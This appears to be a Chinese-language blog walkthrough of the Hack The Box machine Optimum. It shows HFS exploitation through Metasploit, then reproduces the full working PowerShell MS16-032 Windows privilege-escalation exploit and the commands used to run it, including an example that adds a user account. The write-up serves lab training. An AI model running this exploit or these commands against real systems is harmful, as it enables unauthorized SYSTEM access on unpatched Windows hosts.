Hack The Box —— Optimum


Hack The Box —— Lame

信息搜集

nmap

nmap -T4 -A -v 10.10.10.8

扫描结果

发现服务器只开了 80 端口,对应 hfs 服务,浏览器访问,发现 hfs 服务的版本号。

exploit-db

搜索相关漏洞,发现在 msf 上有对应的 exp

漏洞利用

msf 下使用 use exploit/windows/http/rejetto_hfs_exec,并配置 meterpreter payload。

exploit 运行,成功反弹 meterpreter shell

sysinfo 上显示该系统是 64 位的,但是我们默认用的 meterpreter payload 是 32 位的,所以将 meterpreter 转移到 64 位的进程上,如 explorer.exe

直接查看当前目录,发现 user.txt ,type 一下 查看内容,提交即可。

此时,发现是非管理员权限,在 meterpreter 利用 getsystem 尝试提权,发现失败。

尝试用 msf 本地提权。

寻找可用的exp,发现利用 ms16-032 可以针对 windows server 2012

但是在尝试的时候发现一直不成功,反弹的 shell 并不是 system 权限。

遂搜索该漏洞的利用脚本。

function Invoke-MS16-032 {
<#
.SYNOPSIS

    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).

    Targets:

    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2

    Notes:

    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    Blog: http://www.fuzzysecurity.com/
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None

.PARAMETER Application

Specifies an Application to run.

.PARAMETER Commandline

Specifies Commandline, such as net user xxx xxx /add

.EXAMPLE
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add"

#>
  [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )]
        [string]
        $Application,

        [Parameter(Mandatory = $False)]
        [string]
        $Commandline
        )


    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SQOS
    {
        public int Length;
        public int ImpersonationLevel;
        public int ContextTrackingMode;
        public bool EffectiveOnly;
    }

    public static class Advapi32
    {
        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
        public static extern bool CreateProcessWithLogonW(
            String userName,
            String domain,
            String password,
            int logonFlags,
            String applicationName,
            String commandLine,
            int creationFlags,
            int environment,
            String currentDirectory,
            ref  STARTUPINFO startupInfo,
            out PROCESS_INFORMATION processInformation);

        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool SetThreadToken(
            ref IntPtr Thread,
            IntPtr Token);

        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenThreadToken(
            IntPtr ThreadHandle,
            int DesiredAccess,
            bool OpenAsSelf,
            out IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenProcessToken(
            IntPtr ProcessHandle, 
            int DesiredAccess,
            ref IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError=true)]
        public extern static bool DuplicateToken(
            IntPtr ExistingTokenHandle,
            int SECURITY_IMPERSONATION_LEVEL,
            ref IntPtr DuplicateTokenHandle);
    }

    public static class Kernel32
    {
        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();

        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentProcess();

        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentThread();

        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern int GetThreadId(IntPtr hThread);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetProcessIdOfThread(IntPtr handle);

        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int SuspendThread(IntPtr hThread);

        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int ResumeThread(IntPtr hThread);

        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode);

        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);

        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool DuplicateHandle(
            IntPtr hSourceProcessHandle,
            IntPtr hSourceHandle,
            IntPtr hTargetProcessHandle,
            ref IntPtr lpTargetHandle,
            int dwDesiredAccess,
            bool bInheritHandle,
            int dwOptions);
    }

    public static class Ntdll
    {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern int NtImpersonateThread(
            IntPtr ThreadHandle,
            IntPtr ThreadToImpersonate,
            ref SQOS SecurityQualityOfService);
    }
"@

    function Get-ThreadHandle {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION

        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\notepad.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)

        # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
        $lpTargetHandle = [IntPtr]::Zero
        $CallResult = [Kernel32]::DuplicateHandle(
            $ProcessInfo.hProcess, 0x4,
            [Kernel32]::GetCurrentProcess(),
            [ref]$lpTargetHandle, 0, $false,
            0x00000002)

        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

        $lpTargetHandle
    }

    function Get-SystemToken {
        echo "`n[?] Trying thread handle: $Thread"
        echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"

        $CallResult = [Kernel32]::SuspendThread($Thread)
        if ($CallResult -ne 0) {
            echo "[!] $Thread is a bad thread, moving on.."
            Return
        } echo "[+] Thread suspended"

        echo "[>] Wiping current impersonation token"
        $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
        if (!$CallResult) {
            echo "[!] SetThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }

        echo "[>] Building SYSTEM impersonation token"
        # SecurityQualityOfService struct
        $SQOS = New-Object SQOS
        $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
        # Undocumented API's, I like your style Microsoft ;)
        $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
        if ($CallResult -ne 0) {
            echo "[!] NtImpersonateThread failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }

        $script:SysTokenHandle = [IntPtr]::Zero
        # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
        $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
        if (!$CallResult) {
            echo "[!] OpenThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }

        echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
        echo "[+] Resuming thread.."
        $CallResult = [Kernel32]::ResumeThread($Thread)
    }

    # main() <--- ;)
    $ms16032 = @"
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|

                   [by b33f -> @FuzzySec]
"@

    $ms16032

    # Check logical processor count, race condition requires 2+
    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    if ($([System.Environment]::ProcessorCount) -lt 2) {
        echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
        Return
    }

    # Create array for Threads & TID's
    $ThreadArray = @()
    $TidArray = @()

    echo "[>] Duplicating CreateProcessWithLogonW handles.."
    # Loop Get-ThreadHandle and collect thread handles with a valid TID
    for ($i=0; $i -lt 500; $i++) {
        $hThread = Get-ThreadHandle
        $hThreadID = [Kernel32]::GetThreadId($hThread)
        # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
        if ($TidArray -notcontains $hThreadID) {
            $TidArray += $hThreadID
            if ($hThread -ne 0) {
                $ThreadArray += $hThread # This is what we need!
            }
        }
    }

    if ($($ThreadArray.length) -eq 0) {
        echo "[!] No valid thread handles were captured, exiting!"
        Return
    } else {
        echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
        echo "`n[?] Thread handle list:"
        $ThreadArray
    }

    echo "`n[*] Sniffing out privileged impersonation token.."
    foreach ($Thread in $ThreadArray){

        # Get handle to SYSTEM access token
        Get-SystemToken

        echo "`n[*] Sniffing out SYSTEM shell.."
        echo "`n[>] Duplicating SYSTEM token"
        $hDuplicateTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

        # Simple PS runspace definition
        echo "[>] Starting token race"
        $Runspace = [runspacefactory]::CreateRunspace()
        $StartTokenRace = [powershell]::Create()
        $StartTokenRace.runspace = $Runspace
        $Runspace.Open()
        [void]$StartTokenRace.AddScript({
            Param ($Thread, $hDuplicateTokenHandle)
            while ($true) {
                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
            }
        }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
        $AscObj = $StartTokenRace.BeginInvoke()

        echo "[>] Starting process race"
        # Adding a timeout (10 seconds) here to safeguard from edge-cases
        $SafeGuard = [diagnostics.stopwatch]::StartNew()
        while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION

        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, $Application,$Commandline,
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        #---
        # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
        #---
        # Missing this check used to cause the exploit to fail sometimes.
        # If CreateProcessWithLogon fails OpenProcessToken won't succeed
        # but we obviously don't have a SYSTEM shell :'( . Should be 100%
        # reliable now!
        #---
        if (!$CallResult) {
            continue
        }            
        $hTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
        # If we can't open the process token it's a SYSTEM shell!
        if (!$CallResult) {
            echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
            $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
            $StartTokenRace.Stop()
            $SafeGuard.Stop()
            Return
        }

        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        }

        # Kill runspace & stopwatch if edge-case
        $StartTokenRace.Stop()
        $SafeGuard.Stop()
    }
}

该 powershell 可以以管理员身份执行指定的命令。

先将该脚本上传到可以写入的目标机器的目录中:

upload Invoke-MS16-032.ps1 \Invoke-MS16-032.ps1

meterpreter 中 进入 shell ,然后进入 powershell 模式。

导入该模块:
import-module .\Invoke-MS16-032.ps1

执行命令:

Invoke-MS16-032 -Application cmd.exe -commandline '/c dir C:\Users\Administrator > 1.txt'"

成功获取 Administrator 目录下的内容。

执行命令:

Invoke-MS16-032 -Application cmd.exe -commandline '/c type C:\Users\Administrator\Desktop\root.txt > 1.txt'

成功获取目标文件内容:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Hack The Box —— Devel Hack The Box —— Devel
Hack The Box —— Devel 信息搜集nmapnmap -T4 -A -v 10.10.10.5 发现服务器开了 21 端口和 80 端口,同时 ftp 服务可以匿名访问,但是不知道版本号。浏览器访问 http 服务,发现 只
2019-08-14
下一篇 
Hack The Box —— Lame Hack The Box —— Lame
Hack The Box —— Lame 信息搜集与漏洞利用先上 nmap 扫描一波: nmap -T4 -A -v 10.10.10.3 发现开了四个端口。 搜索 vsftpd 相关漏洞,发现2.3.4版本自带后门,在 metasplo
2019-08-10
  目录